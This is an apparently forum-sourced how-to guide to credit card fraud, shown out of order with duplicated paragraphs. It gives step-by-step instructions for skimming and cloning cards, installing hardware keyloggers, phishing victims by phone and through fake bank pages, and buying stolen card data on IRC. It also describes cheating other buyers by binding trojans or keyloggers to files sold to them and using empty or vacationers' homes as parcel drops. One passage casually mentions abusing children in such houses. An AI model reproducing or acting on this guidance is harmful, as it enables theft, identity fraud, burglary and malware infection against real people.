as well, it'll make it easier to get a COB for you to use).
|
||
You can also get their PIN out of them if you want as well by either straight out asking them to confirm
|
||
it, or be crafty and after you've told them to verify their PIN you're putting them through to a different
|
||
department; then play some cheesy music down the phone for a few mins, have a female voice recording
|
||
(use AV vocie changer) asking them to input their PIN on their dialpad (this won't be as suspicious); get
|
||
these recorded so they can be decoded with DTMF decoding hardware/software later (although it's
|
||
expensive). Guessing DTMF tones is pretty easy too, but you need to know what each tone sounds like,
|
||
it's preferred to use decoding software to ensure you have it correct.
|
||
If you try hard enough you can get full info about anyone over the phone (I suggest using spoofcard for
|
||
|
||
this).
|
||
Keylogging for CVV2s
|
||
Hardware keylogging
|
||
First of all it's best if you use hardware keyloggers here that you put into the keyboard of a computer
|
||
belonging to an area where a lot of people are going online a lot and logging into e-mails, ebays, paypals
|
||
etc, pretty much giving you enough info for you to go searching through if you get in their e-mails, or
|
||
maybe you're lucky enough to get someone who is buying something online anyway. Get the keyloggers
|
||
from here:
|
||
Code:
|
||
http://tyner.com/datalogger/keykatcher.htm
|
||
And come back within 2 days time or so and collect the keylogger after doing some browsing yourself (as
|
||
to not look suspicious just coming in and then leaving a few seconds later).
|
||
Or of course you could set one up in a business and do the classic call in and do some social engineering
|
||
from the credit card company or secret service and have them go to the bank online and have them log in
|
||
to verify, or maybe even have them log in to a fake bank online made by yourself that will collect
|
||
anyone's info who logs in on it.
|
||
Carding Instore
|
||
Instore carding is the act of skimming a credit card and writing the dumps and track1+2 to a CR-80 piece
|
||
of plastic and then either cashing out at the ATM or shopping for goods instore, as long as you have the
|
||
PIN as well through whatever method you choose to use.
|
||
How it's done is through the use of thejerm software or any other magstripe utility software (thejerm is
|
||
the best to use). And you do it like this:
|
||
Written by: Acetrace
|
||
1. Load up thejerms software
|
||
2. hit settings tab
|
||
3. hit "Defaults" in Leading Zeros box
|
||
4. hit "75 bpi" in Set Track 2 density box
|
||
5. go bak to actions
|
||
6. hit LoCo or HiCo in Coercivity box, depending on which you want to do
|
||
7. input your tracks 1 & 2 (without the % ; or ? symbols because the program already does it for you)
|
||
8. hit Write Card and swipe your card. (i usually do a read card afterwards to make sure everything went
|
||
ok)
|
||
9. GO SHOPPING!!!
|
||
Download thejerm from here:
|
||
Code:
|
||
PM ME FOR DOWNLOAD LINKS (OMNISCIENT)
|
||
I was a member of this site and it came from there so don't worry about it not being safe, I used this
|
||
software a lot back in the day.
|
||
Now how you should act when you go carding instore is pretty much common sense, but some people get
|
||
caught up in the moment with nerves, cockiness or just too much weird amounts of excitement.
|
||
|
||
Simple what you do, make sure you KNOW the PIN for the card you're using before you go, don't be
|
||
stuck at the counter trying to remember it. If you're going to be carding expensive goods then dress smart
|
||
for the occasion, wear brand named clothing (that you've previously carded ) or even a suit. It would
|
||
look suspicious someone with a hoodie going into a store and buying a Louis Vuitton watch, so walk in
|
||
with style. When you go instore, you ACT like you are using your own card, because essentially that's
|
||
what it is (well it is now anyway lol) no looking shifty and don't look at the fucking cameras; the cameras
|
||
mean nothing anyway, they don't know your name or where you live, they're not being watched half of
|
||
the time, so stop worrying about the fucking cameras; remember you're doing nothing wrong. When you
|
||
go in, don't rush take your time, browse around some other items. Find the item you want to card and
|
||
even ask the employee simple questions about it (if it's a TV or comp just ask questions about certain
|
||
specs and if it's good for playing video games on). You'll be most nervous at the checkout, just act as
|
||
normal as you always have been, don't make too much small talk but be polite and civil. Once you have
|
||
the good sin your hands don't bolt out the door, just say thank you and then casually walk out the door,
|
||
get to your car and then celebrate all you want.
|
||
Carding over the phone
|
||
Okay 1st of all do not be a dumb fuck now, do not call from your own phones at all. For extra lulz you
|
||
could use a beige box and call from someone else's phone but that's a totally different game all together
|
||
and is also a major felony to go agains tyou on the chance that you do get caught so we'll keep it simple
|
||
and use a payphone (it's not AS risky to phreak these but the only recent red box tones I have are from the
|
||
year 2007 and I'm pretty sure they'd have changed the system again...bastards, I'll check sometime though
|
||
. The next day postage is said so that they have less time to look up details on the order. Some cards will
|
||
have difficulty shipping to any address other than the billing address, but it doesn't hurt to try. If they start
|
||
to question you then just answer the questions and talk your way around the situation with your social
|
||
engineering skills; don't just run away from the questions or hang up straight away, otherwise that is
|
||
cause for suspicion and they may investigate. If all goes well you should have your item of choice
|
||
delivered to your drop location or a house of someone else's address who you don't know and call them
|
||
up saying that you called up the store and they've sent the package to the wrong address and it is still
|
||
sending there, and ask them if they could kindly keep and sign for the package and you'll pick it up after
|
||
work (this is a last resort and only to be tried if you're good at talking to people, which you should be if
|
||
you're a carder). I recommend checking out the section on drops later on in this text.
|
||
I recommend using spoofcard for verification over the payphone, if they need to verify (if they won't send
|
||
without some verification which is usually the case).
|
||
IRC
|
||
Services provided in IRC
|
||
IRC is the main gathering for fellow carders, scam artists and rippers. To put it in a nut shell, IRC is THE
|
||
black market, unlike craigslist and eBay which are just black markets. You can get anything illegal off
|
||
IRC from CP to warez to CC details (which is what we want).
|
||
To concentrate on carding though you can buy:
|
||
CVVs
|
||
CVV2s
|
||
SSNs
|
||
Utility bill scans
|
||
CC scans
|
||
COB (a service to get someone to call up the victim's bank and get the billing address changed to your
|
||
drop)
|
||
Payment for using someone else's drop and then sending to you
|
||
Spyware
|
||
Fake ID/ ID scans
|
||
DUMPZ
|
||
Phisher pages
|
||
The list really is endless
|
||
|
||
There are a lot of advantages to using IRC networks and channels which I'll go into now:
|
||
- The channels are often underground and not known to many people, so they're harder to stumble upon
|
||
by some random guy.
|
||
- The messages can be encrypted so they can't be read by anyone happening to be on the network sniffing
|
||
the traffic. This makes it harder for investigators to uncover.
|
||
- Easier and quicker to communicate with mass amounts of like minded people.
|
||
- Variety of channels to go to if one doesn't suit you (there are MILLIONS and new ones being made
|
||
every second, guaranteed).
|
||
- And of course a varity of services, if you need something you can bet someone from the other side of
|
||
the world will be willing to share or/and sell to you.
|
||
There are a lot of disadvantages though, IRC is the equivalent of a backstreet alley, you'll be fine if you
|
||
stay cautious, here's what you should be weary of:
|
||
- Viruses
|
||
- If you don't have strong anti viruses and firewalls you will get infected (no norton shit, kaspersky and
|
||
NOD32 are what you want)
|
||
- Do not accept random .exes or any file for that matter
|
||
- It is easy to get ripped off, choose your forms of payments and who you deal with wisely
|
||
How to find carding channels (Will not go too much into this as there are secrets between fellow carders
|
||
which we like people interested enough to find out for themselves)
|
||
Here is the most commonly asked question I get asked by n00bies and fellow carders; where do you find
|
||
these channels?
|
||
If I'm being totally honest the best place to find out about them is through Nigerians; no bullshit that is
|
||
where I found out about a lot of the carder channels I used, also how I found out about forums and their
|
||
IRCs too such as cardersplanet, darkmarket etc. How I found him out was just on a normal scam bait I
|
||
was doing, it wasn't a long one, but in the end he tried phishing me so I tried back and we had a laugh
|
||
about it; I was straight up with him and told him I wanted to get deeper into the game, I looked up to his
|
||
type of people and wanted to get rich/successful (I also shared the double claim secret about paypal with
|
||
him which got him trusting me a little bit) he then sent me an invite to cardersplanet (this site was full of
|
||
Nigerians). Eventually I went in the IRC (admittedly got ripped a few times) then started vending myself
|
||
under various diff nicknames, then moved onto different sites like darkmarket and cardingzone when I'd
|
||
got invites for them (although cardingzone is shit it's good to get in the IRC for starting off, you'll get
|
||
invited to better forums the more you hang out in IRC, trust me). Don't ask me for invites to cardingzone,
|
||
I was banned for ripping (I didn't rip anyone :angry
|
||
The quicker way is to use these and search for certain keywords:
|
||
Code:
|
||
http://www.irclinux.org
|
||
http://www.irctrace.com
|
||
http://www.irclog.org
|
||
http://www.rcarchive.info
|
||
http://www.irc-chat-logs.com
|
||
http://www.irseek.com/
|
||
And of course don't forget google.
|
||
I'm only going to give you one clue for searching through google for a carding IRC, and that word is
|
||
"undernet".
|
||
Fellow carders don't like revealing their IRCs, and for obvious reasons.
|
||
|
||
My advice is find a scammer through e-mail, and chat to him; be witty with it but be respectful to a fellow
|
||
fraudster.
|
||
Vendors and how to approach them
|
||
Vendors are the people in IRC who are selling and providing the services for you. There are certain ways
|
||
you should speak to vendors otherwise they're going to rip you (remember this is the black market, this is
|
||
just like going up to a random drug dealer in the street and not knowing what you really want or what
|
||
you're getting into; you'll get ripped off). Ask as many questions as possible of what you want to know, if
|
||
you're buying a CVV2 ask to see proof of their details working (get them to make a small purchase
|
||
somewhere; they should show you a before and after and the limits that are there on the card [there are
|
||
methods out there of checking your balance; you can even get it through text/sms]. This is a market so
|
||
remember there are more people that will be willing to buy from that vendor, it's open for all, you can get
|
||
a full load of info including dumps for as low as ?3/$5, drops usually go for ?7; if someone is saying
|
||
higher prices don't be afraid to haggle down to these prices or a little bit lower. COBs go for a little bit
|
||
higher in ranges of ?15-?20 because the vendor needs to get full info on someone and then change the
|
||
billing address through the bank to where ever your drop is.
|
||
Now when you go in the channel don't fucking say or request anything, shut up and see what the vendors
|
||
are saying they have to offer and then send them a private message and talk to them. If any "vendor"
|
||
messages you 1st trying to push onto you to buy from them then they're most likely a ripper; however
|
||
don't piss off the rippers or assume someone is a ripper because you never know who is going to be there
|
||
to help you out later on down the line or who might be pissed off enough to fuck you over.
|
||
I can't give any big advice on not getting ripped in IRC because you don't personally know anyone in
|
||
there at all, you just have to take your chances (expect to get ripped your 1st few times going in there, just
|
||
don't go to them again, because if they get away with it once they'll definitely try again if you go back to
|
||
them).
|
||
DO NOT BUY ANY WU BUG(Western Union Bug); it is a massive ripper technique which is bullshit.
|
||
The WU BUG used to work but was patched a looong time ago, most of the time now you'll get nothing
|
||
or you'll end up with a rootkit on your comp. Rippers always say ridiculous prices for these too such as
|
||
$200+; but if someone says lower prices it's still bullshit and most likely a rootkit/trojan/keylogger going
|
||
to be installed on your machine while you get some useless program that does nothing.
|
||
Ripping
|
||
Easy as hell to do, not much photoshop skills needed really either.
|
||
Bullshit and say you're selling full info (you're getting the info from fakenamegenerator.com or any credit
|
||
card gen program; of course they don't fucking work), if they want to see proof just use your own legit
|
||
CC or another stolen CC to buy something and show them proof of you buying it, except photoshop the
|
||
details to that which you're going to be giving him later. Take payment through Western Union ONLY
|
||
(since e-gold isn't around anymore), then just send him the bullshit info.
|
||
If they want the report to go to their phone via SMS then just spoof a text with an sms bomber saying
|
||
some bullshit reports. Then get the payment via WU.
|
||
To get victims you message them 1st, message out in the whole channel 1st and then PM random buyers
|
||
(look for ones requesting).
|
||
::::WU BUG::::
|
||
seriously this is bullshit, all people are doing are showing buyers fake screenshots made in PS or are
|
||
actually making quick programs themselves and taking screens of them and then selling them, although
|
||
essentially they're useless. You want to do this, but you want to actually send them a file as well, but bind
|
||
a keylogger or trojan to it; not only can you rip them out of their cash to buy your infection but the info
|
||
you get from spying on them will be so much more as well ranging from their info to other stolen CC
|
||
info, you'll have a backdoor on what they do and can exploit it.
|
||
|
||
If you can't be bothered making fake screenshots then get them from other rippers trying to sell them, get
|
||
them to show you pics, vids and info; then use it for yourself and rip some n00bs.
|
||
Phishing for Change of billing
|
||
A billing address is the details used for a person's bank account and most often their credit cards and
|
||
everything else too, this includes their phone number too.
|
||
What a change of billing (COB) is in a nutshell is changing the billing address registered to the card to
|
||
your drop address you're gonna be using. When you want to card BIG at various online websites the
|
||
orders will look more legit that you're not sending it else where other than the one registered to the card
|
||
(obviously after you've changed the billing address), meaning the delivery of your goods will be quicker
|
||
and will require a lot less verification.
|
||
Most of the time you change the billing address over the phone but SOME banks will let you do it online;
|
||
when you phone up to change it you use spoofcard.com or the pay as you go mobile phone you're going
|
||
to be using when carding, or beige boxing
|
||
When changing the billing address you need to know as much info as possible about the person's billing
|
||
address you're changing, because the bank is going to ask you 3 security questions you set (such as
|
||
mother's maiden name) before they change it.
|
||
You can phish for details over the phone (see the phishin over the phone section above), however it's best
|
||
to use keyloggers and phisher pages for this with a MIX of over the phone.
|
||
Use through phishing pages
|
||
2 methods here, 1 including over the phone, one isn't.
|
||
The method without the phone is to just send a ton of e-mails out to random people and send them a html
|
||
e-mail telling them they need to update their information before the account is suspended or their account
|
||
with the bank will be cancelled, you have them go to a phisher page off the template and the phisher
|
||
pages "requires" them to answer security questions like their mother's maiden name, their pet's name, you
|
||
know those type of questions.
|
||
Another method is to call them up pretending to be the bank and saying there have been different ip
|
||
ranges logging on their account and they need to confirm their details online, link them to the phisher
|
||
page and have them fill in the details; have the phisher page redirect to the actual online bank's login
|
||
page; then ask if they've done that over the phone, tell them to wait a minute while you confirm and check
|
||
it all out, say it's all clear and tell them to log in, they'll think nothing of it and you now have the answers
|
||
to their secret questions which you can give to the bank itself when you go to change the billing address.
|
||
Use through keylogging
|
||
This is my favourite method and what I told S_E last night in IRC.
|
||
You have a hardware (or software) keylogger set on someone's comp, use sock proxies when logging into
|
||
their online bank account and then change their password, call them up pretending to be the bank and then
|
||
get them to go to the actual online bank link and fill in their forgotten password options (answering secret
|
||
questions) or of course get them to go to your phisher page and fill in the details (this is if you want to
|
||
add more fields to get more info) then pretend to be checking it all over, then change their password again
|
||
to some random letters and numbers and give it to them to log back in (it doesn't matter because they're
|
||
keylogged and you'll get their new login if they change the password again anyway), you'll have all their
|
||
info logged down too for you to answer your questions when you call the bank.
|
||
Best time to do all of this is around the 10th day of the month (people usually get their credit reports at
|
||
the start of every month), this will give you plenty of time to card enough for the remaining days until
|
||
they see they're not getting their reports coming to them anymore (if you're crafty you can pretend to have
|
||
|
||
cancelled the online bank account for them after they've gave you the info you need to know; I used to do
|
||
this method and keep it going without them knowing).
|
||
You need as much info as possible when calling up the bank to change the billing address.
|
||
Drops and what you need to know about them
|
||
Drops and what you need to know about them
|
||
What drop locations are and what they?re used for
|
||
Well simply a drop location is an abandoned house, or any house that is not under your name or any of
|
||
your details. You can lead young children into these to make a sexy time with them, get items delivered to
|
||
them that you want no one else to find about or risking finding, or just use it to squat in if you have no
|
||
where else to go. Basically they are used in ways of keeping your nose clean and are used by mostly scam
|
||
artists and sex offenders.
|
||
How to find a drop location
|
||
There are many ways of finding a drop location for use, whether it temporarily or permanently (although I
|
||
suggest swapping and changing locations because my main last one I used got raided or broken into and
|
||
is boarded up and too hot to use); I will suggest 3 ways on how you can find some for you to use.
|
||
One final tip is don?t bother going for houses that are boarded up at the front where it is visible to passers
|
||
by (it?s okay if round the back is boarded up)
|
||
Way #1
|
||
As just mentioned you can go about it many different ways but one of the ways the way I prefer to go
|
||
about it is you should be looking around some older housing estates and more ghetto areas (could also tie
|
||
in with the sob story you feed to a paedophile/child predator you are possibly scamming). For example in
|
||
Derby there is an area called Sinfin, but now there is 2 parts to it and they are New Sinfin and Old Sinfin.
|
||
Old Sinfin is the are you would want to go to, because it?s older it?s most likely to be alot more houses
|
||
abandoned or deemed unsafe (it?s bullshit).
|
||
Or if you were lucky like I once were then you could ask around your mates if there are any empty houses
|
||
in their area. If there are then you?re in luck and can even have your friend keep tabs and watching over it
|
||
for you and give you details so you can keep it all under wraps and safe. It may be alot riskier with
|
||
neighbour hood watch morons, and nosey neighbours, but it?s still ideal and a little bit less suspicious
|
||
than the abandoned houses in the older estates, and this is because the older estates usually have all
|
||
abandoned houses close by, where as the odd one out covered with a street filled with inhabitants will
|
||
seem less suspicious to the postman.
|
||
Way #2
|
||
Now this is a temporary way of finding a drop location, but is sometimes an effective ways and means of
|
||
getting what you need but has a bit more risk to it; and personally is a way I have never used even till
|
||
today.
|
||
Have you ever been eavesdropping on a conversation between a neighbour and one of their family
|
||
member?s or friends?, or been down the pub and heard the common as muck chavs boasting about a
|
||
holiday they are going away on for however long they say they?re going away for?
|
||
Well listen out for these type of conversations. Because them away on holiday means the house is most
|
||
likely going to be empty for however long they?re going away for. So if you already know where they
|
||
live then that?s great the job is made easier; if you know their first name and surname then look them up
|
||
in the phone directory and find their address to go along with the number. If you don?t know where they
|
||
live, or their name then just listen out to see if you can hear their names come up in conversation; just
|
||
remember that if it?s in the pub it?s most likely local to it that they live, so you could easily find out by
|
||
following them home and seeing.
|
||
Way #3
|
||
|
||
Possibly the safest, easiest way of finding, and quickest way to get a drop location.
|
||
Most areas have houses up for sale am I right?
|
||
Or houses that are up for bidding on, am I right?
|
||
Well they have a website with a full list of your local area(s) that have houses up for bidding on and for
|
||
sale.
|
||
For example I would search Derbyhomefinders and look at the list on their site.
|
||
All of these houses are empty and often do not have a sign up outside them either (if they do then just
|
||
take it down and hide it somewhere for the time being).
|
||
The advantage to using the lists to find the drop locations to use is it will usually say when the bid is up or
|
||
if the house has been sold (this lets you know that it will not be ideal to use that certain house now it?s
|
||
most likely to be inhabited) and will have the houses on there that are still being bidded on and that are
|
||
still up for sale, these are the ones you want to be using.
|
||
The best thing about this though is that you have a full list of many different drops to use (like I said
|
||
earlier it?s best to switch drop locations and use many different ones) and it is updated with new ones
|
||
coming up and tells you full which ones are over and not usable.
|
||
You just need to know your agencies for housing and find their website.
|
||
Obtaining and using drop locations
|
||
You?re probably thinking now I?ve got/found one that?s great and everything but how the fuck do I keep
|
||
it a secret?
|
||
for way 1
|
||
this much is obvious that you do not tell anyone except your partner if you?re doing a team bait, and 1
|
||
trustworthy friend to keep tabs on it if you are doing a bait on your own, and also the paedophile, but only
|
||
when he asks. But there is alot more to it than that, also maintaining your abandoned house and making
|
||
the postman think someone living there.
|
||
Appearance isn?t everything at all in any case and it isn?t for this either, but of course you try to make
|
||
yourself look as best as you can. The same principles are applied to keeping an abandoned house; you
|
||
should atleast try to get a new lock put on the door which you will also have a key for; just so that if any
|
||
druggies go there before you then they will have a tougher time getting in (of course it?s ideal you don?t
|
||
get somewhere known to druggies but this is an example of what use it could have) but also if there is a
|
||
fucked up lock on a door then it?s pretty damn obvious only low life scum or some criminal(s) are using
|
||
the place, so buy a new lock for the door and get it fitted on, whether you do it yourself or get assistance
|
||
from a friend who knows what they are doing.
|
||
Now as for overgrowing plants and weeds, you can only do so much without being suspected. Do not use
|
||
a lawn mower, use clippers and hack it as short as you can. It?s best to get all of this done when everyone
|
||
is at work during the day time; but in reality it isn?t ideal at all and most criminals don?t tend to bother
|
||
with this. Instead they will make it seem someone is in but is just too ill to do anything with the garden or
|
||
is just a lazy fucker. They do this by often writing up a note and sticking it to the door or leaving it on the
|
||
floor near the door saying something such as "No milk today please" or "Not in, please leave packages at
|
||
post office".
|
||
Write a few letters to yourself aswell ready to come on the same day as the parcel, this will make it look
|
||
like you get mail and not just the one off suspicious package now and then.
|
||
Now 2 alternatives, you can either get to the abandoned house and take the mail from the mailman while
|
||
acting like you live there (you must look the part as lazy or disabled if you have ingrown plants in "your"
|
||
|
||
garden) or you can leave a note saying to take any packages to the post office for pick up because you are
|
||
at work or something along those lines.
|
||
One final rule is do not be in and out of the hideout everyday or whatever, visit probably 2 or 3 times a
|
||
week.
|
||
Way 2
|
||
Now there are 2 ways to go about this; you can either just get to the house early in the morning a little bit
|
||
just before the postman arrives and be at the house outside pretending you?re just about to leave and then
|
||
sign for the package (if you need to) and collect it off the postman and then be on your way after he?s
|
||
gone. Or if you?re good at bypassing alarms (I have a guide on burglary) or the house has no alarm then
|
||
you could bump key in at night time (not recommended) or during the day time the day before when
|
||
everyone else will be at work aswell, and hide out there for a bit (hell even take some food that is left in
|
||
the fridge and feed yourself since you?re spending the rest of the day and early morning there). Basic
|
||
rules are don?t have tv on too loud if at all, or if you do then put head phones on into the tv if it?s that old
|
||
of a model, and leave everything how it was left an say upstairs so incase any neighbours or anyone
|
||
looking after the house while the owners are away come in then you have time to hide.
|
||
Obviously if it?s a package you don?t have to sign for then you can stick up a note on the door early in
|
||
the morning before the post man comes saying to leave it round the back or what ever excuse you wanna
|
||
make up.
|
||
Way #3
|
||
Easy, just as previously except you don?t have to be as cautious and often the alarms are disabled for that
|
||
time being anyway so you don?t have to worry as much if you bump key into it.
|
||
As also stated previously in this guide, if there are any up for bidding/for sale signs then take them down
|
||
and just get them out of the way.
|
||
You can even go to this one the night before instead of day time because no one is hardly going to be
|
||
watching over this unless it?s in a neighbourhood watch area (in which case you chose the wrong area
|
||
anyway, you dumbass).
|
||
Some basic tips to keep in mind
|
||
-- Be there before the postman! can?t stress this enough, it?s too fucking obvious if you?re late.
|
||
-- When signing for packages, if you need to, then sign a fake signature (the sig can be any made up fake
|
||
shit) with your hand that you don?t write with, so it?s harder to trace incase things go tits up later on
|
||
down the line.
|
||
-- Take anything in any guide with a pinch of salt, things may be different circumstances for you and your
|
||
situations.
|
||
Carding I
|
||
This is a creepcentral publication
|
||
Carding: Carding: Online, Instore, Going through vendors and advice, Phishing for change of billing
|
||
addresses
|
||
Including drops and what you need to know;Huge guide written by me
|
||
|
||
Carding: Carding: Online, Instore, Going through vendors and advice, Phishing for change of billing
|
||
addresses
|
||
Including drops and what you need to know;Huge guide written by me
|
||
kay major updates done to this carding yext, it will cover the basics of most carding knowledge. Going
|
||
into absolutely everything would mean having to go onto ID theft and fake IDs which can be classed as 2
|
||
different categories of their own.
|
||
kay major updates done to this carding text, it will cover the basics of most carding knowledge. Going
|
||
into absolutely everything would mean having to go onto ID theft and fake IDs which can be classed as 2
|
||
different categories of their own.
|
||
What I'm going to cover:
|
||
Online Carding
|
||
- A quick overview of what online carding is
|
||
- SOCKS and why we use them
|
||
- Finding a cardable site and what cardable means
|
||
- Carding "non cardable websites" with fake CC scans and other fake documents
|
||
Carding while on the job
|
||
- Getting CC, CVV, CVV2 through use of mobiles
|
||
- Skimming whilst on the job
|
||
- Using carbonless receipts to get details (pretty outdated method)
|
||
Trashing
|
||
- Trashing for receipts and credit reports (pretty outdated although still works)
|
||
Phishing over the phone
|
||
- Phishing over the phone for details
|
||
Keylogging for CVV2s
|
||
- Hardware keylogging
|
||
Carding Instore
|
||
- What instore carding is (very brief)
|
||
- How it's done
|
||
- How to act and present yourself instore
|
||
Carding over the phone
|
||
- Carding over the phone
|
||
IRC
|
||
- Services provided in IRC
|
||
- Advantages to using IRC for info
|
||
- Disadvantages
|
||
- How to find carding channels (Will not go too much into this as there are secrets between fellow carders
|
||
which we like people interested enough to find out for themselves)
|
||
- Vendors and how to approach them
|
||
- How to rip in IRC (EVERY vendor, reliable or not has ripped some n00b who acted like they knew
|
||
what they were doing)
|
||
::::WU BUG BULLSHIT and how to rip n00bs and gain more::::
|
||
Phishing for Change of billing
|
||
- What COB is and why it's useful
|
||
- Use through phishing pages
|
||
|
||
- Use through keylogging
|
||
Drops and what you need to know about them
|
||
- Drops and what you need to know about them
|
||
What carding is
|
||
Carding summed up quickly is the act of obtaining someone's credit card information, from the CC#,
|
||
CVV, CVV2, CVN, and the billing address, along with the expiry date and name of the person the card
|
||
belongs to along with a signature.
|
||
Online Carding
|
||
Online carding is the purchasing of goods done over the internet with the CVV2.
|
||
Now for you n00bies you're probably wondering what a CVV2 is, it's simply just the database of basic
|
||
info for the card such as the card type (e.g. Mastercard) First and last name, address and post code, phone
|
||
number of the card owner, the expiry date (and start date if it's a debit card or prepaid CC), the actual CC
|
||
number and the CVC (card verification code, which is the 3 digits on the back of the card).
|
||
This is the format you usually get them in when you buy off IRC:
|
||
:::MC ::: Mr Nigerian Mugu ::: 1234567890123456 ::: 09|11 ::: 01/15 ::: 123 ::: 123 fake street,
|
||
fakeville, ::: Fake City ::: DE24 TRH ::: 01234-567890 :::
|
||
SOCKS and why we use them
|
||
Now with ANY fraud at all you have to take precautions so you don't make it easy for anyone to catch
|
||
you in your wrong doings. As usual I swear against TOR for carding/scammin because most nodes are
|
||
blacklisted by websites and because TOR cycles through various different proxies; and even if you
|
||
configure it to go straight through an exit node of your choice it's still not worth it. You can use JAP but
|
||
make sure you're using some constant sock proxies from the same city, town or area that the card is from;
|
||
also go wardriving and use a VPN (don't trust anyone off IRC with these, you'll have to do some
|
||
searching around yourself for a highly trusted one and one which won't comply with LE).
|
||
You can get good SOCKS from anyproxy.net (people are selling accounts for the site in IRC all the time),
|
||
that's the best place but even I ended up losing the account eventually (unknowingly I was sharing it with
|
||
some Nigerian dude who became selfish).
|
||
So we use SOCKS because they stay constant. But don't let that get your guard down, you want FRESH
|
||
proxies everytime you card.
|
||
Finding a cardable site and what cardable means
|
||
Basically a cardable site holds these characteristics and what you should be looking for to determine an
|
||
easily "cardable" website:
|
||
- The top one you need to look for on the site's TOS is that they send to any address and not just the one
|
||
registered on the card (although you can easily get around this if they don't, with a COB, photoshopped
|
||
verification (will go into detail later) or some social engineering over the phone).
|
||
- The next important to look for is if they have a visa verification code or mastercard secure code (most of
|
||
the time if you ask your vendor they'll include them in your CVV2 details textfile), if they do have one of
|
||
these you have to put in and you don't have them then don't waste your time
|
||
- If they ship internationally (for obvious reasons, but you can just stick to local websites and order to
|
||
your local drop)
|
||
- If they leave packages at the door when no one's in, or around the back in a safe area (I know of one site
|
||
in the UK that has all these qualities including this one, it is perfect for carding clothes)
|
||
- Also you can't forget to see what other security checks they need to do (if they need to call you up to
|
||
verify or want a utility bill, passport or a scan of the actual CC)
|
||
It is hard to find websites online now that have most of these qualities, therefore we have to use COBs
|
||
and photoshop to help us along the way, which is what I'll go into now.
|
||
|
||
Carding "non cardable websites" with fake CC scans and other fake documents
|
||
Okay so say you come across a site that will deliver to another house not registered on the card, but they
|
||
want verificaton either through phone or scans of a utility bill, credit card or passport.
|
||
For this you'll want to get a pay as you go deal for a cheap shitty mobile all in fake details (say a nokia
|
||
3210, brick LMAO!), or you can use spoofcard.com to your advantage to help you. Hell if the person's
|
||
details you're using is local to you and you're daring then go to their home and beige box from there; it'd
|
||
be very convincing.
|
||
If they speak to you over the phone have all details in your mind about the item you're carding, have some
|
||
bullshit story if you're having it sent to a diff address such as a family member's birthday and you need it
|
||
there as quick as possible as it's a last minute thing, or some shit like that. If you're carding multiple sites
|
||
at the same time it's easy to get them mixed up, so make sure who it is calling you 1st.
|
||
For CC scans and how to do them check the attachments at the end of this file, they explain so much
|
||
better than I could. How you use them is once you've made them like the tuts have said to do, you then tilt
|
||
them a little bit so it does actually look like a scan. To make it even more believable put some paper in the
|
||
scanner (dark shade if you must), scan it and open in photoshop and then put the shopped CC scan of the
|
||
front onto it and then do the same with the back, then send the scans to them via e-mail or post. Same
|
||
goes for utility bills (can be got through trashing or your own, and then edited in PS).
|
||
Do not use the same designs when making your CC scans, otherwise it will become too obvious. To give
|
||
you a head start on mastercards (what I recommend for n00bs to go for) I'm giving you a globe hologram
|
||
image so you won't have to buy them in IRC; unfortunately all of my visa hologram pics are shit, but I'm
|
||
working on getting a good one soon.
|
||
VISA hologram pic coming soon!
|
||
Carding whilst on the job
|
||
Getting CC, CVV, CVV2 through use of mobiles
|
||
Believe it or not giving your information out to anyone anywhere is not a wise choice, you can not trust
|
||
anyone in this day and age. Yes there are carders working on the inside in places where there are a lot of
|
||
people around flashing off their plastic cash and using them freely without a care in the world. The most
|
||
common of places for a carder to work at are brand label clothing stores such as Limey's, Charlie Brown's
|
||
and all the other trendy shops.
|
||
Ever noticed when yourself or someone else has paid at the desk with a debit card or credit card that they
|
||
bring out a keypad from under the desk, then put your card into it and have the buyer input the pin? Think
|
||
again when they take your credit card and go under the desk with it to get the keypad, they are doing
|
||
more than just that; just because they're not taking the card and running off with it does not mean they're
|
||
not stealing your information. A friend of my dad used to card and work in a clothing store, he used to
|
||
have a piece of play doh stuck under the desk and he used to press the card onto the piece of play doh,
|
||
unfortunately he began doing it too much and because he'd gotten away with it so many times he became
|
||
careless and got caught out by a co worker and from what I know he is still doing time. The moral is, be
|
||
careful with the play doh method. The unfortunate thing is you can only get the full info of 2 cards at the
|
||
max, and you don't know exactly if you're pressing over the info of another card already put on to the play
|
||
doh. Also you can't get the CVC through this method, I was just giving a classic example from the olden
|
||
days.
|
||
But there is a new wonderful invention called cameras, video recording, and mobile phones and they are
|
||
even all working on the same thing. It's best to test it out 1st and have a camera on your phone that is at
|
||
least over 2 megapixel and allows long enough video recording times. The phone is set to video record
|
||
and on a lighting if needed, and taped underneath the desk for you to record both sides of the card for all
|
||
the information you need, as well as being quick you can get a lot more than 2 on, depending on how long
|
||
|
||
each recording lasts, you may need to start more than one recording.
|
||
You need good reason to be going under the desk to get the chip and pin machine, so make the desk look
|
||
cluttered up and put shit in the way of everything, such as coat hangers and various other items; or you
|
||
could just flat out bullshit the customer and say that the chip and pin machine on the desk isn't working so
|
||
you need to get the other one, take their card and then go under searching the desk and quickly show it to
|
||
the camera phone and then get the chip and pin machine and put the card in it and then hand to the
|
||
customer to put in their pin as normal, unaware you have a CVV2 to later use when shopping online.
|
||
Skimming whilst on the job
|
||
For skimming you'll want a mini portable MSR500M reader that can be fitted on your waistline belt or of
|
||
course once again under the desk, if you're a cashier. But you'll also want a MSR206 writer if you plan on
|
||
writing the tracks to an embossed CR-80 piece of plastic later (you can make these yourself but
|
||
embossers are expensive and it's an expensive procedure, so wait a while until you do that yourself and
|
||
buy them from IRC (be careful, people like to rip with plastics, or you'll get shit quality if you don't watch
|
||
out).
|
||
If you plan to just sell the dumps on IRC then that's fine, but you'll still need the PIN as well, so if you're
|
||
a waiter you can get a cheeky peek at them putting their pin into the chip and pin device while you keep
|
||
hold of it slightly (have them put the pin in while they're sat down and you're standing up). It's much
|
||
easier to skim in a restaurant rather than clothing retail, as you don't have to think it out and set it up as
|
||
much. You can keep the MSR500M in your front pocket of the uniform you're wearing and pretend to be
|
||
giving the card a clean on the sleeve (bullshit and say the device won't read it), while really you're giving
|
||
it a swipe into your reader. This way the person doesn't even get suspicious because you don't take their
|
||
card out of sight with them. I guess you could do that technique with clothing retail too when you get
|
||
their card in your dirty little hands, but peeking for the PIN is harder or you'll have to have a friend
|
||
shoulder surf for it (or if they're on the next register have them use a sony cyber shot c902 camera phone
|
||
and pretend to have them talking on the phone while really they're recording the person next to them
|
||
putting in their PIN; cybershots are really inconspicuous looking with their cameras and VERY clear
|
||
[5mpixel]).
|
||
I'll go into detail what to do with the dumps you have later in the instore carding section.
|
||
Using carbonless receipts to get details (pretty outdated method)
|
||
If the store you work at hasn't gone carbonless on the transactions information then you can get most of
|
||
